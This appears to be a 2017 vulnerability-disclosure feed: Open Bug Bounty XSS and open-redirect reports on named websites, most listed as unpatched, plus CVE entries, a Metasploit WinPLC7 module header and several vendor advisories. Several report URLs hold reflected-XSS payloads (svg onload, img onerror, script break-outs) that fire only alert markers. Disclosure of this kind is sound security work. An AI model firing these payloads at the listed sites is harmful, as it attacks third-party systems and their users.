maria-antoaneta.com XSS vulnerability

Vulnerable URL: http://www.maria-antoaneta.com/index.php?lang=fr"BG Details: Description| Value ---|--- Patched:| No Latest check for patch:| 24.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11291725 VIP website status:| No Coordinated Disclosure Timeline:...

streamly.com Open Redirect vulnerability

Vulnerable URL: https://www.streamly.com/R/18Kg4fj0StZ?url=https%3A%2F%2Fwww.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.12.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 974317 VIP website status:| ...

fuveau.portail-familles.net XSS vulnerability

Vulnerable URL: https://fuveau.portail-familles.net/PORTAILFAMILLESWEB/FR/Permalien.awp?DOMAINE=FUVEAU=187142i0xn%27%22/%3E%3E%3C/script%3E%3Cscript%3Ealert/OPENBUGBOUNTY/%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.12.2017 Vulnerability type:| XSS...

handbellworld.com XSS vulnerability

Vulnerable URL: https://www.handbellworld.com/music/MKeyReturn.cfm?Page=20=10="xss go skrrrrrrrra pa pa ka ka ka skeedy ki pa pa and a poom poom prrrrrrrrr boom SKIYA dru bo po bo po bom pom pom Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.12.2017 Vulnerability...

conpas.net XSS vulnerability

Vulnerable URL: https://www.conpas.net/search/%22%3e%3csvg%20onload=alert%22OPENBUGBOUNTY%22%3e Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 218860 VIP website status:| No...

CVE-2017-0898

creationtimestamp| type| source ---|---|--- 2017-09-17 16:13:56+00:00| published-proof-of-concept| https://t.me/evilmartians/220...

CVE-2017-10784

creationtimestamp| type| source ---|---|--- 2017-09-17 16:13:56+00:00| published-proof-of-concept| https://t.me/evilmartians/220...

visitbratislava.com XSS vulnerability

Vulnerable URL: https://www.visitbratislava.com/wp-content/plugins/wp-vr-view/asset/index.html?image=xss Details: Description| Value ---|--- Patched:| No Latest check for patch:| 17.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 403982 VIP website status:| ...

VIPA Automation WinPLC7 5.0.45.5921 Buffer Overflow

require 'msf/core' class MetasploitModule 'VIPA Authomation WinPLC7 recv Stack Buffer Overflow', 'Description' = %q This module exploits a stack based buffer overflow found in VIPA Automation WinPLC7 'james fitts' , 'License' = MSFLICENSE, 'References' = 'ZDI', '17-112' , 'CVE', '2017-5177' ,...

malmoairsoft.se XSS vulnerability

Vulnerable URL: http://malmoairsoft.se/search.php?searchstring=mastech%22%3E%3Csvg/onload=alert%28document.domain%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1618041 VIP...

phpMyAdmin XXE Injection Vulnerability (PMASA-2011-17) - Linux

phpMyAdmin is prone to a XML external entity XXE injection attack. SPDX-FileCopyrightText: 2017 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

FreeBSD < 10.3-RELEASE-p21 / 11.0 < 11.0-RELEASE-p12 / 11.1 < 11.1-RELEASE-p1 OpenSSH Password Length DoS (FreeBSD-SA-17:06.openssh)

The version of the FreeBSD kernel running on the remote host is prior to 10.3-RELEASE-p21, 11.0 prior to 11.0-RELEASE-p12, or 11.1 prior to 11.1-RELEASE-p1. It, therefore, affected by a flaw in built-in password authentication in OpenSSH. An unauthenticated, remote attacker can exploit this issue...

poppler security update

0.26.5-17 - Resolves: rhbz1482934 CVE-2017-9776...

Design/Logic Flaw

Untrusted search path vulnerability in Installer for Shin Kinkyuji Houkoku Data Nyuryoku Program program released on 2011 March 10 Distributed on the website till 2017 May 17 allows an attacker to gain privileges via a Trojan horse DLL in an unspecified directory...

centreleonardodavinci.com XSS vulnerability

Vulnerable URL: http://www.centreleonardodavinci.com/en/calendar.php?month=4=2014%22%3E%3Csvg/onload=alert/openbugbounty/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6552177 VIP website status:| No Check...

ezywhip.com.au XSS vulnerability

Vulnerable URL: http://www.ezywhip.com.au/tagproducts.php?idtag=62'"=en Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 17.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 13984441 VIP website status:| No...

Threat Outbreak Alert RuleID30216: Email Messages Distributing Malicious Software on August 17, 2017

Medium Alert ID: 54869 First Published: 2017 August 17 14:55 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID30216 may contain the following files: Name |...

all4health.kr XSS vulnerability

Vulnerable URL: http://www.all4health.kr/content.php/'%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E?db=m46=write&year2;=2017&month2;=3&day2;=10 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017 Vulnerability type:| XSS Vulnerability status:|...

CVE-2017-8656

creationtimestamp| type| source ---|---|--- 2017-08-17 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/42464...

wallpaperspic.pw XSS vulnerability

Vulnerable URL: http://wallpaperspic.pw/?s=1%3C!%27/%22/%27/%22/--%3E%3C/Script%3E%3CImage%20SrcSet=K%20/;%20OnError=confirmOPENBUGBOUNTY%20//%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 15.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...